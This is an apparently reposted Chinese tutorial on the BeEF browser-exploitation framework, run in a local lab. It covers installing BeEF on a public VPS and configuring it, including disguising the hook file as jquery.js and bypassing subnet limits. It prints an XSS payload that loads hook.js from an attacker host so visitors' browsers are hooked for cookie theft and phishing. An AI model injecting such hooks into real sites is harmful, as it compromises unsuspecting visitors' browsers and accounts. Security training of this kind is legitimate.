xss利用——BeEF#stage1


🚩全文概覽

 

 

🚩簡介

BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年開始創建的,至今還在維護。是由ruby語言開發的專門針對瀏覽器攻擊的框架。BeEF的總體思路就是在內網下通過arp欺騙,修改response包,加入我們的鈎子。這個框架也屬於cs的結構,具體可以看下圖。

 

zombie(僵屍)即受害的瀏覽器。zombie是被hook(勾連)的,如果瀏覽器訪問了有勾子(由js編寫)的頁面,就會被hook,勾連的瀏覽器會執行初始代碼返回一些信息,接着zombie會每隔一段時間(默認為1秒)就會向BeEF服務器發送一個請求,詢問是否有新的代碼需要執行。BeEF服務器本質上就像一個Web應用,被分為前端UI, 和后端。前端會輪詢后端是否有新的數據需要更新,同時前端也可以向后端發送指示, BeEF持有者可以通過瀏覽器來登錄BeEF 的后台管理UI。 

kali已經把beef-xss做成服務了,推薦使用systemctl 命令來啟動或關閉beef服務器

systemctl start beef-xss.service    #開啟beef
systemctl stop beef-xss.service     #關閉beef
systemctl restart beef-xss.service  #重啟beef

 

🚩公網安裝

在公網Ubuntu17下安裝beef

首先在vps中,初始用戶一般是root。root是沒法安裝某些ruby的一些擴展包(考慮到安全問題),所以需要一個降權的用戶。
#創建一個beef的用戶
useradd -m -d /home/beef -s /bin/bash beef
#設置beef的密碼,最好使用強密碼
passwd beef
#把beef用戶加入sudo, root 組
usermod -aG root,sudo beef
#轉到beef用戶
su beef
接着就是安裝beef了
#進入家目錄
cd
#獲取源文件
wget https://github.com/beefproject/beef/archive/master.zip
sudo apt update && sudo apt upgrade -y && sudo apt install unzip ruby ruby-dev -y
#解壓master.zip
unzip master.zip
cd beef-master
#安裝beef
./install
筆者在安裝過程中遇到/var/lib/gems/2.3.0, /usr/local/bin 這兩個目錄沒有寫權限的錯誤,下面是解決方法
sudo chmod g+w /var/lib/gems/2.3.0
sudo chmod g+w /usr/local/bin
#再次運行
./install
把beef從sudo, root 組中移除
#運行
sudo chmod g-w /var/lib/gems/2.3.0 && sudo chmod g-w /usr/local/bin
sudo gpasswd -d beef root && gpasswd -d beef sudo 
最后運行beef, 建議別使用root來運行beef服務器, 既然已經創建了一個id為beef的用戶,那么以后都以這個用戶來運行beef服務器會更好。
#進入beef所在目錄
cd /home/beef/beef-master
#以后台模式運行beef服務器,且即使ssh斷開了,也不影響beef 服務器。
nohup ./beef &
View Code

 

🚩配置

kali下的BeEF配置文件在  /usr/share/beef-xss/config.yaml,其它的配置文件也在這個目錄的子目錄下,往后在使用某些功能時,需要修改對應的配置文件。自主安裝的BeEF配置文件會在BeEF的主目錄下config.yaml,建議修改幾個地方:

### 指定某個網段,只有在這個網段的瀏覽器才能被hook
permitted_hooking_subnet: "0.0.0.0/0"
 
### 指定某個網段,只有在這個網段的瀏覽器才能訪問管理UI
permitted_ui_subnet: "0.0.0.0/0"
 
### 上面這兩項都是可以被繞過的,只要使用X-Forwarded-For首部繞過,一般不需要設置
 
###  設置beef服務器的主機, 如果有自己的域名, 那么可以設置自己的域名, 沒有就使用默認
host: "0.0.0.0"
 
###  設置beef服務器監聽的端口, 可以自己定一個,比如8080, 記得端口號需要大於1024
port: "3000"
 
### 受害瀏覽器輪詢beef主機的時間, 默認為1秒,可以設置為更低。 
xhr_poll_timeout: 1000
 
#public: ""      # public hostname/IP address
#public_port: "" # experimental
### 這是讓BeEF運行在一個反向代理或者NAT環境下才需要設置的。
 
### 管理頁面的URI, 默認是/ui, 建議修改,這樣就不會讓別人找到你的管理頁面
web_ui_basepath: "/ui"
 
### hook_file 的名稱, 建議修改, 可以修改為jquery.js之類的來提升隱蔽性
hook_file: "/hook.js"
 
### 管理頁面登錄的用戶名和密碼, 這個一定要改,兩個都改是最好的
credentials:
     user:   "beef"
     passwd: "beef"
View Code

默認無法使用msf模塊,因此還需要作如下配置連接msf。

注:host不可用127.0.0.1

啟動msf

 

🚩掛馬(初始控制)

啟動kali beef端(IP:192.168.187.149

如果一個網站有XSS漏洞,然后你通過某種方式把你的payload(<script src="http://Attacker IP:3000/hook.js"></script>)發到這個有XSS漏洞的頁面,受害者點擊或者直接訪問那個界面時,就會不斷請求Attacker端的hook.js,以此實現盜cookie/釣魚等操作。

Win2003(IP:192.168.187.148)的WWW主目錄下有一網頁1.html。

本地訪問

 

 主機訪問

回到Attacker端,可以看見虛擬機win2003和主機win10都已上鈎

 

 

參考文章

https://blog.csdn.net/Fly_hps/article/details/81940388

https://blog.csdn.net/m0_37268841/article/details/80091615


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM